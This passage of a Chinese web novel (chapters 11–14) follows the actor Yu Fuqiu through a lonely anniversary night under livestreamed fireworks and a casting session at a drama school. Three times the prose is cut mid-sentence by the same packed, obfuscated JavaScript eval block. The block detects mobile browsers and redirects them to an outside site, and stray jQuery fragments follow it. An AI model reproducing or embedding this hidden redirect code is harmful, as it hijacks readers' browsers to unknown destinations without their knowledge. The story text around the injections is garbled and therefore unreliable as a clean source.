余赋秋的身体萧索了下,打了个喷嚏,他只穿了个单薄的米色高领毛衣,在空旷的街道几乎起不到任何保暖的作用。
寒风撩起他柔软污黑的发丝,拍打在光洁的额角和脸颊上,带着阵阵的刺骨,鼻尖很快染上了一抹脆弱的绯红,白嫩的耳垂红得几乎透明,仿佛轻轻一碰就会碎裂。
余赋秋忍不住抱紧双臂,单薄得身形在寒风中显得越发纤细,羊绒开三得衣摆被风掀起,隐约可以看到不盈一握得线条。
裸露在外的脖颈和手腕,被冻得泛出了一种玉石般冰冷的质感,情色的血管在近乎透明的皮肤下若隐若现。
虞琢的喉头不由得滚动了两下,对上那双微微泛红的双眼,将自己的外套脱了下来,披在余赋秋的身上,指尖无意识的触碰那长发,柔软的发丝触碰到肌肤,在他的心中泛起层层的涟漪。
“说,说到这个。”虞琢的眸光闪了闪,“老长半个月前就托我带你去这个地方。”
“我车上有送给你的礼物,是老……准备的。”
“上车吧,我带你。”
余赋秋的脸窝在宽大的外套中,他伸出被冻得粉色的指尖,拢了拢外套,对着虞琢露出一个浅浅的笑容,“谢谢你,虞琢。”
看着那纤细的背影上了他的副驾驶,虞琢的心头似乎有蚂蚁啃噬一般,细微的瘙.痒,他下意识地将自己的指尖抵在鼻尖下面,那里仿佛还残留着余赋秋的味道。
“……虞琢?”
余赋秋眨了眨水润的眸子,像个小兔子似的从门窗里面探出脑袋。
虞琢狠狠唾弃了自己下,这可是他发小的老婆!
他上了车,把后备箱的礼物递给了余赋秋,略带着心虚道:“这是我给你准备的礼物,不知道你喜欢什么,随便选了下。”
“结婚五周年快乐啊。”
余赋秋一愣,小心翼翼地接过了礼物,然后慢慢地拆开。
映入眼帘的,是一双漂亮的天蓝色眼眸。
——是一只布偶猫。
“你,你怎么知道我最想要只布偶猫……?”
余赋秋很喜欢猫咪,但是长庭知对猫毛过敏,他不得不将原先养的猫送了人,最多也就是去猫咖撸猫。
他只把这个想法和长庭知说过,虞琢是怎么知道的?
“我,我上次路过,看到你蹲在门口的面前,逗弄着一只布偶猫,刚好我家布偶猫配种了,生了一窝,就给你送来了。”
其实是半年前长庭知找到了他,借用他家的布偶猫进行了配种,选取了品相最好的幼猫,养了几个月,确定很亲人,半个月前找到他,让他作为余赋秋的五周年礼物。
“谢谢你,虞琢。”
他抱紧了怀中的布偶猫,温润的眼尾泛红,眼尾的那颗痣更显得诱人。
“你,你别哭呀,我,我……”见余赋秋抽了抽鼻子,他的心瞬间慌了,慌乱之中把纸巾抽了出来,小心翼翼地擦拭着余赋秋的眼角,他几乎是把余赋秋半拢在怀里,好闻的味道萦绕在鼻尖,虞琢的喉头滚动了两下,僵硬着身子。
“不哭好不好,我回头带你去我家看布偶猫,我家猫会后空翻的。”
美人眼尾的泪被轻轻擦拭去,眉目弯弯,仿若是山间四月的桃花,春风过境,让虞琢看呆了。
直至下车的时候,他抿了抿唇:“你,你可以和我吃顿饭吗?”
他觉得自己的话不对劲,这是人家五周年啊,他上去赶凑什么热闹,他急忙给自己找补:“朋友嘛,偶尔吃顿饭,叫上老长一起来啊。”
“啊……好。”余赋秋犹豫了下,还是答应了下来,怀中抱着布偶猫的笼子,“外套——”
“没事没事,你先套着吧,我车上有暖气,暖的很,我都出汗了。”
虞琢脱下卫衣,里面只穿了一件紧身黑色背心,露出健硕的肌肉和小麦色的肌肤,线条流畅,隐约可以看到几滴晶莹的汗珠。
余赋秋被他的动作逗的眉目弯弯,心中隐约升起了期待。
庭知让虞琢来接他,是不是——
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124676|196008||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他转身,慢慢地走向信封里的地点。
那是一家开在拐角处的店。
两边有鲜花簇拥,一年四季,年年盛开,风一吹,落在石板路上,踏过的每一步都伴着花香。
这是长庭知对余赋秋第一次求婚的地方。
那时候的长庭知,手拿着钻戒,人看着沉稳,但说誓词的时候,声音颤抖的不成样子。
余赋秋看着他一手养大的孩子,心几乎都要化掉了。
他一步一步走在石板路上,现实与回忆重叠在一起。
“你走过的路,要鲜花盛开,要人声鼎沸。”
一步。
一步。
这段路不长,余赋秋慢慢地走,走到了路的尽头,推开了那扇清新的门,‘叮铃——’
门上的铃铛发出清脆的声音。
“球球,欢迎回来。”
褚宝梨站在店里面,眉目弯弯。
“……姐姐。”
明明知道长庭知不可能出现在这里,但真的到眼前的时候的,从幻想中抽离出来触碰现实的那一瞬间,无尽的孤苦铺天盖地般朝他席卷而来。
那一刻,余赋秋还是不可避免地捂着胸口,近乎喘不上来。
“庭知半个月前就准备好了这个。”
褚宝梨拿出了一份文件,上面是余赋秋熟悉的字。
“吾妻启。”
余赋秋颤抖着手将文件接了过来,小心翼翼地拆开。
从里面拿出了两份文件。
——是两份《不动产权证书》
“庭知把这个店面买了下来,其实很早之前,庭知就想买下来送给你了,只是老夫妻怎么说也不肯卖,这次老夫妻的孩子要接他们出国养老了,庭知这才买了下来。”
“还有一个……庭知和我说,是养大他的家,他要把这个家,重新呈现给你。”
褚宝梨是在长庭知大学的时候才找的亲人,因此对长庭知先前的生活略有耳闻但却不多。
那是个很旧很偏僻的小房子,但却是余赋秋用跑龙套和摆摊的钱一点点攒了下来,这个小房子为他们遮风避雨,让余赋秋养大了长庭知十年。
后来欠债的人找到了长庭知,为了躲避那群人,余赋秋不得已低价卖掉了这个小房子,带着长庭知东躲西藏。
“……球球,庭知他……或许现在是过分了点,但他的爱是从骨子里刻印出来的。”
“你们在一起十五年,连春春都七岁大了,有什么不能熬过去的呢?”
褚宝梨摘下手腕上的镯子:“这是我们妈妈临终前交给我的,我现在……把它交给你。”
“不要对庭知彻底丧失信心好吗?”
“我们在找办法,去把原本的庭知找回来,这只是暂时的。”
“更何况——”
褚宝梨轻叹了口气:“你一手把他养大,种下了这么多年的果,难道你要让别人来享用这个果实吗?”
“就当是为了春春,毕竟他才七岁。”
“……你也不想春春从小就生活在一个破碎的家庭吧?”
褚宝梨轻声道。
余赋秋咬着唇,泪水滴落在那张写着他名字的房产证上。
他既然穿书过来了,也和长庭知有了一个孩子,现在的长庭知只是失忆了,不记得他了,剧情还没有开始。
即使开始了,他也会将它扭转过来。
长庭知。
不论变成什么样子。
都是他的长庭知,他一手养大的长庭知。
余赋秋抓紧了那两张纸,嘶哑着声音,漂亮的眼眸闪烁着小店的光:“你说得对。”
“他是我的丈夫。”
“也只会是我的。”
12. 第 12 章
余赋秋在这里坐了很久很久,直到夕阳落下,将他的身影拉的长长的。
长发垂落,遮盖眼底的神情,投落下一抹落寞的阴影,手腕上的镯子衬托手腕纤细,甚至可以看清淡青色的血管,在暖黄的灯光下近乎透明。
仿佛风一吹,他整个人就会破碎。
“……这个点了吗?”
余赋秋深吸口气,拍了拍自己的脸蛋,“振作起来,余赋秋,还有那么多喜欢你的人,还有春春。”
他关闭了店铺的灯,这个角落位于小巷子的拐角,位置不是很好,因此里面的东西也不是很贵,但却是那个时候他们能吃起最好的东西了。
灯光一熄灭,周围尽遭都是黑乎乎的一片,唯一的光源被余赋秋关闭了。
他站在石板路上,鼻尖嗅到的是独属于这个季节的芬芳,平静的内心起了丝丝波澜。
倏尔,一阵风吹过,他穿着单薄,忍不住拢了拢身上的外套,“回头得洗了,再还给他——”
他独自一人身处在这个小巷子中,抬头,前方是金碧辉煌的大厦,他仿佛伸出这个灰暗世界阴影的交界处,身影被无限制放大,直至落入阴影之中。
周围寂静无人,只有凛冽的夜风拂过他略显单薄的身影。
他忽然有些茫然,不知道接下去要去哪里。
他把猫咪放在店里,因为在家里长庭知对猫毛过敏——
既便他不确定长庭知今晚是否会回来。
已经接近十一点,手机却还是安静的,余赋秋忽然很不适应。
明明几周前,他的长庭知还在他的身边,一旦过了九点,就会疯狂地轰炸他的手机,先是短信然后是电话,最后是视频。
【老婆老婆,{小猫歪头}你在哪儿?】
【和谁在一起?】
【还记得大明湖畔的庭知吗?】
【呜呜呜老婆已经五分二十秒没有回我了,是不是不爱我了TAT】
【……】
手机的震动,像是那场似幻的梦境。
“嘀嘀嘀——”
他感知到口袋里手机真的在震动,心头闪过一阵狂喜,是不是长庭知找他了?
是不是——
他迫不及待地拿起手机,发现屏幕已经被无数推送通知淹没。
在最上面的是,长庭知艾特他的微博。
【长庭知:今天,是我们结婚的第五个年头,一起度过了1826天,而我拥有你有了很多的日夜,仿佛是一场梦,仿佛是游戏结算的MVP结算画面,好像是故事到了结尾的团圆局面。】
【今年的冬天真的好晚,我还记得五年前的那个杭州,我们在初雪去领证,你小跑着,脸颊都冻红了,那时候的你眼眸弯弯,满城灯光不及你,你说,你会很期待今年的冬天,你说你有了家。】
【所以,我会在任何地方为你留一盏灯,为你停留,永远站在你的身后。】
【我会和每一次一样,这次也是。】
【我爱你——@余赋秋。】
【ps:为了让大家看到我老婆吃的多好,他多爱我,我勉为其难的给大家看看我的资本!】
下面拍了九宫格,而在最中间。
是长庭知拍摄的他睡着的照片,照片中长庭知和他的手交替着,无名指上的婚戒闪闪发光,他半边侧脸陷入柔软的枕头中,只能看到嫣红微微张开的唇瓣和白皙的下颚。
而照片中的长庭知侧着眼眸,眼睫低垂,俊美的侧脸清晰地出现在照片的另外一边,而他的眼神温柔的仿佛可以滴出水来,里面什么也没看到,只有余赋秋的身影。
【chageellll:高举知秋大旗!!!】
【灵摆:wokao,我能说既便球球只露出这么点脸,依旧美的惊人吗?舔屏!】
【梨莫:长总裁好像很喜欢球球,可是球球结婚了怎么办呢?】
【心动亿亿亿亿:日照金山诶!球球要一直幸福快乐呀!】
【迷恋:可恶【滑轨】五年前我是单身,五年后还是单身,长庭知怎么吃到了这么好的老婆,跪求教程!】
【赋夏之末:好想哭,看着球球一步一步从龙套走上来,时间过的真快啊,又开始多愁善感了起来,相信时光会一直眷顾着我们,要一直永永远远幸福呀!】
【赋秋的球球:趁此机会!来宣传一波即将开机的《热枕爱意》别错过呀!挥手!】
【……】
很快他上了热搜。
随即他发现长秋集团的官方号在直播。
【直播】长秋集团:烟花为你而放@余赋秋
【欲求长风:直播间指路!】
【七彩包里熊:嗯?怎第一次看长庭知用官方号直播啊,以前不都是用自己的号吗,然后买个热搜挂上面三天三夜不下来。】
余赋秋心头一惊,下意识地点进了那个链接。
瞬间,手机屏幕亮起,正是他所处的这个小巷子的实时直播画面。
镜头精准地捕捉着他站在夜色中的身影,夜色漫过所有的角落,镜头唯独锁着他,没有灯火,没有回声,他站在那里,像是一幅被遗忘的画,连风掠过都带着不忍心的轻,怕碰碎了那点孤影。
直播间的弹幕已经炸开了锅,以惊人的速度滚动着。
【握成,真的很久不见的余赋秋啊。】
【呜呜呜,我的球球,舔屏,你知道你不在这时刻,我是怎么过来的吗?】
【余赋秋余赋秋,关注上星剧CCTV3《热枕爱意噢!》关注上星剧CCTV3《热枕爱意噢!》关注上星剧CCTV3《热枕爱意噢!》关注上星剧CCTV3《热枕爱意噢!》】
【怎么就他一个人?长庭知呢?】
【渴死我了!深夜撒糖!还好没早睡。】<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124677|196008||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
【……】
余赋秋怔怔地看着手机屏幕,又抬头看了看四周依旧无人的环境,一种强烈的不安悄然蔓延,长长的睫毛不安分的抖动着,他不安地咬着嘴唇。
长庭知……在这里吗?
他还来不及反应。
就在这时——
“xiu——peng!”
原本光怪陆离的城市灯光逐渐熄灭,第一束流光猛地划破寂静的夜空,在最高点红安绽放,灿烂的金色光芒如同巨大的伞盖,瞬间照亮了余赋秋扬起的、带着惊愕的精致脸庞。
他没注意到,镜头定格在他的脸上那瞬间——
弹幕有一种诡异的停滞。
无数绚丽的烟花争先恐后地升空,在墨蓝色的天空上炸开千姿百态的图案,有心形,有星型,有漫天垂落的流光瀑布……将整个夜空渲染得如同白昼,璀璨夺目,美得惊心动魄。
直播间得沸腾达到了顶点。
【在中庭广场放这么大的烟花……?】
【这是花了多少钱啊?】
【太美了啊啊啊啊啊啊啊啊啊啊,】
【长庭知呢?快来和球球同框呀。】
【球球的侧脸绝了,截图截图!嘿嘿我的新屏保。】
【有钱人的朴实无华X】
烟花的光芒明明灭灭,倒映在余赋秋清澈的瞳孔里,却没有丝毫的暖意,他孤身一人站在小巷子中,仰头望着着漫天为他而放、极致绚烂的盛大景象。
很美。
真的很美。
那个陪在他身边的人,没有出现。
他低头,看着手机直播间,弹幕还在疯狂刷着‘羡慕’‘神仙爱情’‘长总霸气’‘渴死我了’
可他此刻,却冷的颤抖止不住。
烟花还在不知疲倦地绽放,巨大的声响几乎要震破耳膜,余赋秋缓缓放下手机,不再去看狂欢的言论。
作为演员的修养,他面对着镜头,应该露出一个羞涩的笑容。
可他只是静静地站在那里,夜风吹起他的长发,把他的侧脸藏进忽明忽暗的光影中,光芒落在他眼底碎成星子,他微微垂着眼,仿佛周遭的烟火气都和他无关,只有被着盛大喧嚣反衬处着情绪。
他抬起手,轻轻接住一片因为烟花绽放而簌簌落下,冰凉的尘埃。
最终,在所有烟花散尽,夜空重新恢复沉积,直播间也在一片意犹未尽的祝福中关闭后,余赋秋依旧一个人,在原地站了很久很久。
城市的灯火依旧璀璨,和他隔着一层看不见的玻璃。
自始至终,长庭知都没有出现。
这场轰动全网,耗资不菲,被无数人铭记的浪漫,于他而言,不过是吹过身边一阵,冰冷而喧嚣的风。
他拢了拢衣服,呼出一口白气,长长的睫毛颤动着,“这个冬天——”
“怎么这么冷呢。”
13. 第 13 章
“余哥。”
谭铃敲了敲门,惊扰了脑袋低垂下来的余赋秋。
他揉了揉眼睛,睡眼朦胧,这段时间他推掉了所有的通告,日夜不休的陪在长庭知的身边,剧情开始的恐慌无时不刻不再折磨着他的神经,再加上他要应付外界的所有猜测,要隐瞒下来长庭知出了车祸,然后人格换掉,去隐瞒长庭知不爱他这个事实。
在那一场烟花直播过后,长庭知的微博再也没有任何的动静,没有拍摄余赋秋看烟花的照片和视频,也没有再更新有关余赋秋所有的动态。
从那天之后,长庭知再也没有回过家,余赋秋却还是不论多忙,都会在他们的聊天界面叮嘱他多穿衣服,要注意天气,他有胃病,药在他办公室左侧的第一个柜子里——
整个界面全都是他的绿色画面,余赋秋却不敢停下,生怕那头打破了他唯一的幻想。
回到家,再也没有玄关处给他停留的一盏小灯,也没有暖好的拖鞋和被窝。
余赋秋身体不好,再加上抚养长庭知,负荷工作,很早身体就落下了病根,身体寒冷,尤其到冬天的时候更是这样,连空调也暖不了他多少的温度,这个时候,长庭知就会把他的脚放在肚子上,手塞到自己的手中。
长庭知的手很大,可以包裹住他的手。
长庭知的身体跟个火炉一样,余赋秋很喜欢往他的怀抱里钻,从他的怀抱探出一个毛茸茸的脑袋,认真的凝视了长庭知半响,对上那双含笑的眼眸,他的心情也会不由自主的变好,每当这时候,他就会从脖颈慢慢地往上亲。
在这个温暖的房间里面,暧昧的氛围不断地攀升,外面的冬天,似乎也变得不可怕了。
“我和秦老师要了暖手宝,您暖一下吧。”
谭铃看着余赋秋被冻得青紫的手,她蹙了蹙眉头,“以前这个时候,长老师都是会提前给我们准备好他的中药贴,那个药贴效果特别好,您贴一贴,手腕都是暖的,根本就不会冻得像现在这么严重。”
“哎,不过这个贴我跑遍了整个H城,都没找到哪里买的,问了长老师的助理才知道以前那些都是长老师自己做的,在他那边办公室还有一个放置您东西的柜子,只是这个柜子……”
她话说到一半,才意识到自己说漏了嘴,但是脑子没跟上嘴得速度,后半句已经脱口而出了:“我前面还和长老师说了您的情况,您现在的手冻伤的很严重,但长老师他——”
谭铃的声音忽然低了下去,面上尴尬着,抿着唇,似乎不知道该如何描述长庭知的回复。
余赋秋僵硬着手指捧着暖手宝,他前面刚拍完一个从威亚上掉入水里的戏份,这个导演非常的严格,要求他从半空中解开威亚,直接从空中掉入水中,一切要求最真实,最能体现余赋秋的表情。
他从水里捞了上来,整个人浑身萧瑟的不成样子,长发低垂,皮肤苍白如雪,下唇微微抿着,带着水光的濡湿感觉,他这次扮演的古装剧,眉间一抹红,在血色的肌肤衬映下艳的惊人,恰似雪山上遭遇了寒冬的红梅,明明掉落在即,却偏偏凝着一抹倔强又脆弱的艳,衬得那双半阖的眼睫湿漉漉的,连眼尾都染着浅浅的红,布满了破碎感。
他努力地想要扯出一抹笑,但刚上岸,整个人又晕了过去。
手指尖的暖手宝传来的热度一点点驱散着僵硬和麻木,谭铃的话让他垂下了眼睫,看着手中小巧的暖手宝。
他其实不用问,也知道长庭知的反应。
现在的长庭知,怎么会关心他是否受寒,恐怕谭铃那条带着关切意味的信息,在他的眼里,只是一种拙劣,试图引起他注意的手段,或者只是一种打扰。
果然,谭铃犹豫地看着余赋秋的表情,余赋秋淡淡扬起笑容,长发柔顺地披散在后面,他垂眸看着手机上,长庭知安静的睡眼,“你说吧。”
“长老师,长老师说……以后您的事情不必再和他汇报,这,这和他无关。”
谭铃说的很委婉,长庭知先是回复了她一个“?”
然后像是明白了什么,“关我什么事情。”
这又什么关系呢?
余赋秋想到褚宝梨先前交给他的东西,被千疮百孔的心在这一刻悄悄地悸动了下。
长庭知还是他的长庭知,只是暂时的失忆了。
而他能做的,就是把长庭知留在自己的身边,至少在他的长庭知回来之前。
剧情开始又怎样。
他已经独占长庭知十五年了,难道还会怕以后每个十五年吗?
只要不碰到主角受,剧情也许不会来的这么快。
他的指尖摩挲着暖手宝:“没事的,替我谢谢秦老师。”
“阿铃,找我什么事情?接下去的通告是什么?”
“啊,就是《小城医生》导演想让您过目过目男二的选角。”谭铃把话题带了过去,把手上的资料递给余赋秋。
《小城医生》是部现代剧,讲述的是小镇做题家的青年从小城镇拼杀了出来,去了首都的大医院,但是却被人污蔑,停职,被下放到偏僻小城镇,对于青年来说一切归零,但他又重新找到自己信念并且洗刷冤情的故事。
这部电视剧有原著小说,还未开机,目前只是确定了余赋秋作为男主。
而导演很喜欢启用新生代,掏出好的演员,想要请余赋秋去物色一下。
“导演就在后面,说想要见您……”
谭铃斟酌了下,因为现在余赋秋的身体情况实在是不适合长途奔波,他们要去选角的地方是余赋秋的‘母校’,距离他现在工作的地点,至少要走三个小时的车程,而余赋秋又晕车。
“余老师,您好。”
胡导演搓了搓手,道:“真的是没想到您居然会接下我这么小的项目,还答应我这么任性的要求。”
他先前拍的剧本都是以网剧为主,第一次拍正剧,说起来他官宣了余赋秋之后,整个微博热搜直接爆了,微博粉丝数量一瞬间从几百涨到几十万,不久就破了百万,先前苦于资金的问题,可投资商听说余赋秋接了这个剧之后,纷纷向他投递橄榄枝。
导演才第一次正面的认识到余赋秋的商业价值和热度。
“不用和我这么客气。”
余赋秋笑了笑,漂亮的眼尾此刻还泛着红,眼中的笑意如花,像天边的星。
他今年已经三十多了,出道十余年,从跑龙套一步一步往上走,资历在演艺圈已经算成熟了,年纪虽然比起许多大拿还是尚且轻了些,不过他性格好,受人尊敬,在业界很多人也称呼他为老师。
不过余赋秋是身穿过来,他刚来这个世界就是一个妥妥的黑户,没有户口,没有学历,只能晚上去当服务员,白天去戏场看看有没有适合他的龙套跑跑,自己都养不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124678|196008||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
活的情况又捡到了个长庭知。
他在这个世界没有大学学历,只是在出名了之后,空余去考了个业余的学历,挂在这个学校的名头上罢了。
“胡叔也和我说过了你的情况,我很感兴趣,所以才选择了你的剧本,我对它抱有很大的希望,当然希望它是最完美的。”余赋秋歪了歪头,眉目弯弯,长长的睫毛低垂,投落一地弧度。
“现在就走吧,我今天的戏份已经拍完了。”
“余哥,您的身体——”
谭铃不赞成道,“您还是先去医院看看吧。”
余赋秋摇了摇头,露出一个安抚的笑:“没事,我还可以的。”
这个关键的时刻,他必须时时刻刻用工作麻痹自己紧张的神经,才能度过那心如刀割的夜晚,才能忘掉一个人在冰冷的夜晚蜷缩起来的痛苦,才能,才能……
余赋秋刚起身,一阵强烈的眩晕感猛然袭来,眼前的一切骤然扭曲、发黑,耳边想起尖锐的嗡鸣,双腿软的如同棉花,根本支撑不住身体的重量。
他下意识的想要抓住桌子的边缘,但手已经软的拿不起暖手宝,暖手宝重重地砸在地上,整个人不受控制地往前倒去。
“余老师!”
“余哥!”
胡导演反应极快,下意识地张开手臂,一把将踉跄的余赋秋接了个满怀!
温香软玉猝不及防地装入怀中,胡导演的手臂瞬间僵硬。
他几乎是立刻就被怀中人身上那股清冽又带着点说不出的、仿佛与生俱来的淡雅香气笼罩了。
那香气不浓,却丝丝缕缕,无孔不入地钻入鼻腔,勾得人心神微微一荡。
而更让他心头一跳的,是手臂和胸膛传来的触感。
余赋秋看着清瘦,抱在怀里却异常柔软,那腰肢纤细得仿佛他稍微用力就能折断,隔着不算厚的衣服,能清晰地感受到其下肌肤传来的、因不适而略低的体温,以及那脆弱得不堪一击的骨骼轮廓。
他整个人轻飘飘的,像一片羽毛,又像一捧初雪,仿佛稍微碰得重些就会融化、碎裂。
此刻他双目紧闭,长而浓密的睫毛如同折翼的蝶,脆弱地垂在苍白的脸颊上,失去了平日里的状态,只剩下全然的、毫无防备的柔弱。
这份极致的美貌与脆弱交织在一起,形成了一种惊心动魄的吸引力。
胡导演并非初出茅庐的毛头小子,在娱乐圈见惯了各色美人,此刻却也不由得为怀中这片刻的温香软玉晃了晃神,手臂不自觉地收拢了些许,竟有些舍不得立刻放开。
“余哥!”谭铃焦急的声音打破了这短暂的、微妙的凝滞。
胡导演猛地回神,意识到自己的失态,连忙收敛心神,手臂的力道转为稳妥的扶持,“余老师,我叫胡道元。”
“请您记得我的名字,您还好吗?”
余赋秋眼前的黑暗缓缓褪去,眩晕感依旧强烈,他虚弱地靠在胡导演怀里,一时竟连站直的力气都没有,只能微微喘息着,额间渗出细密的冷汗。
这意外的一幕,落在周围少数尚未离开的工作人员眼中,已然激起了一片无声的波澜。
“还,还好……”
他气若游丝,慢慢睁开那双眼睛。
却看见了胡道元慌乱之中,随手洒在地上的资料。
而在资料之中,有一张脸分外的熟悉——
14. 第 14 章
在门外等候的人开始躁动了起来。
“诶!今天面试听说有余赋秋!”
“天哪,我听说他很严格啊,虽然对人很温柔,但是在触及演戏这方面,他的要求非常的严苛。”
“呜呜呜,害怕。”
“就这么小的剧,先不说余赋秋怎么会接,而且胡导演居然能请他来我们学校?!”
“嘘——你不知道余赋秋也是咱们学校的?”
“诶?我怎么没看见他来上过课。”
“……”那人转了转头,压低了声音:“他只是个成人本科,挂名在咱们学校,其实学历估计大专都不如……”
“咦……”
“咳咳——”
谭铃走到那个人的身边,露出一个和善的微笑,“请问,你找我们余老师有什么事情吗?”
那人显然没料到会被发现,吓得一个机灵,脸上还残留这方才与人说闲话时的不屑和几分幸灾乐祸,他张了张嘴,下意识的就想要辩解和否认。
然而,就在他的目光越过谭铃,看到不远处被胡导演扶着,正微微揉着太阳穴的余赋秋时,所有准备好的说辞瞬间卡在了喉咙里面,大脑一片空白。
柔和的光线透过窗户的缝隙,恰好落在余赋秋的身上,他脸色苍白,带着病态的脆弱,几缕乌黑的发丝被冷汗濡湿,贴在光洁的额头。
因为不适,他眼尾泛着淡淡的红,长睫低垂,在眼下投下小片的阴影。
那人看的呆住了,脸颊瞬间涨的通红,他之前只听说余赋秋是如何靠近长庭知上位,被包.养,出卖屁.股,才有了今天的成就。
可是此刻——
他能听到自己安静的呼吸声。
“对,对不起,余老师,”他慌张低下头,结结巴巴,语无伦次,“我,不是故意的,我嘴贱,您千万别往心里去。”
余赋秋还没有从先前的眩晕中缓过神来,坐了三个小时的车,他拧着眉头,好不容易缓过来了一些,听到了道歉,他抬起眼,目光平静地落在面前的人身上。
他其实并没有听清对方具体说了什么,也无心追究,但是他和这所学校的关系,他就可以猜测出来年轻人讲了什么。
他摇了摇头,声音还有些虚弱,却带着一贯的温和:“没关系。”
他抽回了胡道元握着他的手,对着胡道元虚弱一笑:“抱歉,麻烦你了。”
说着,连一个眼神都没有给其他人,径直走进了面试的房间。
那个年轻人还僵在原地,淡淡好闻的味道沁入心肺,他的脑袋顷刻间有些晕乎乎的。
他抬手狠狠锤了一下自己的脑袋,低声喃喃:“余赋秋,为什么和小安说的样子完全不一样……?”
……
“余老师,您前面和我要这几名学生的资料,是有看上的?”
胡道元为余赋秋拉开了座位,又脱下自己的外套披在他的身上,余赋秋专心地看着手头的资料,没注意到他的动作,他的眼神紧紧盯着其中一份资料,拧着眉头。
好眼熟……
这内心莫名的恐慌是什么?
为什么他感觉他即将失去某种东西了?
他深吸了口气,重新合拢上那份资料,摇了摇头:“没有,只是恰好刷到过他们的视频,这几个已经是短视频平台上小有名气的网红了。”
“他们的身上或许不一定有这个出身于乡村城镇的那种纯真。”
他修长的手指在那几分资料上点了点,若有所值道。
“当然,这只是我个人的猜测。”
胡道元若有所思的拿着资料,低声同身边的助理说了什么。
“好,开始面试吧。”
门外的人拿着号,一个一个进来面试。
余赋秋脸上的笑容也逐渐消失了,挺直了背脊,同时时不时拿着笔在笔记本上写下什么,等一位候选者结束表演后,余赋秋就从撕下了笔记本上的页,递给表演者。
“天哪——”
“这是余老师给我的评价和可以改善的地方!”一个短发女孩子刚出了面试的门,就激动的抱着那个纸条小声喊叫着,让其他候选的人纷纷来围观。
“我的天哪,能得到余老师评价真的很难得,而且他一阵见血,对后辈好不吝啬的分享自己的经验,这次没有选上的话,拿到这个意见也真的赚了啊。”
众所周知,余赋秋自从公布和长庭知的结婚喜讯以来,就很少参加综艺了,顶多就是作为颁布典礼的嘉宾,他被喻为‘最灵气的演员’‘天生为演员而生’等诸如此类的名号,对于演戏的感悟非常之高,和他交流能获得不少的经验。
“我要裱起来!”
短发女生开心的抱着纸条转圈圈。
苏向文咬着唇,看了看手中独属于自己的资料表,他们都是怀有一个演员梦才报考了这所全国排名第一的表演系,过五关斩六将才达到这所最高学府,如果能得到余赋秋的评价,那简直是——
“你好,我是——”他举手,想要把自己的资料表交给门口的助理。
“小文?”
身后一道声音疑惑让他的动作僵在了原地。
“小,小安。”
他的室友正背着手中的剧本,睁着一双水润的眼睛,“你也要报名吗?”
柯祈安拍了拍他的肩膀,“去吧!小文,我早说过你可以的!”
就在这时候,门口一阵响动,制片人的助理拿着几张薄薄的纸张,眉头紧缩地走了出来,嘴里还低声念叨着:“这几个人不行……”
柯祈安眼角的余光瞥了一眼上面,以及助理手中那几张最上方隐约可见的名字,他忽然勾了勾唇角。
“诶——小心啊小文!”
苏尚文的背部被人推了一下,整个人踉跄着往前走去,撞上了助理。
助理猝不及防的,被他撞得一个趔趄,手中那叠纸张瞬间脱手,哗啦啦散落异地,而柯祈安也顺势惊呼一声,不小心撞到苏尚文的手臂,让他手中的资料滑落在地上那被糅杂在一起的纸张之中。
现场一片混乱。
“对不起对不起,助理老师,小文没有看到您,真的对不起。”柯祈安连忙弯腰,漂亮的脸上写满了惊慌和歉意,手忙脚乱地帮忙收拾起来资料,在捡到其中一张,他的眼眸暗了一瞬间,快的仿佛不存在。
“小文是谁?”柯祈安整理好了资料,对助理说:“您不知道小文是谁吧,小文是我舍友,就是站在那里,戴眼镜的那个。”
“他不是有意的,您别记在心上。”
“没事。”
助理拧了拧眉头,倒也没说什么,今天人多,学生们慌慌张张倒也可以理解,毕竟今天是余赋秋来。
“接下来念到名字的人请和我走。”助理从整理好的那份名单念了几个人的名字。
苏尚文还在满地寻找自己的资料表,忽然听到了自己的名字,他疑惑地抬头看着柯祈安。
“我的资料表还没交——”
柯祈安笑着拍了拍他的肩膀:“其实他在招募的时候我就给你投递了!或许是让你去面试,你先去试试?”
苏尚文面露感激:“感谢!”
他怎么先前还怀疑小安呢?
小安的偶像就是余赋秋,他一直对自己说偶像的优缺点,这不是很正常的事情吗?他怎么还会怀疑小安呢?
或许余赋秋就是表面和内在不一致的人。
苏尚文想。
柯祈安看着苏尚文的身影消失在拐角,满意地勾了勾唇角。
下一个马上到柯祈安的时候,他看见苏尚文失魂落魄地从拐角处走了过来,脚步虚浮,眼眶通红,手里紧紧攥着那张报名表,指节因为用力而泛白,整个人像是被抽走了魂儿。
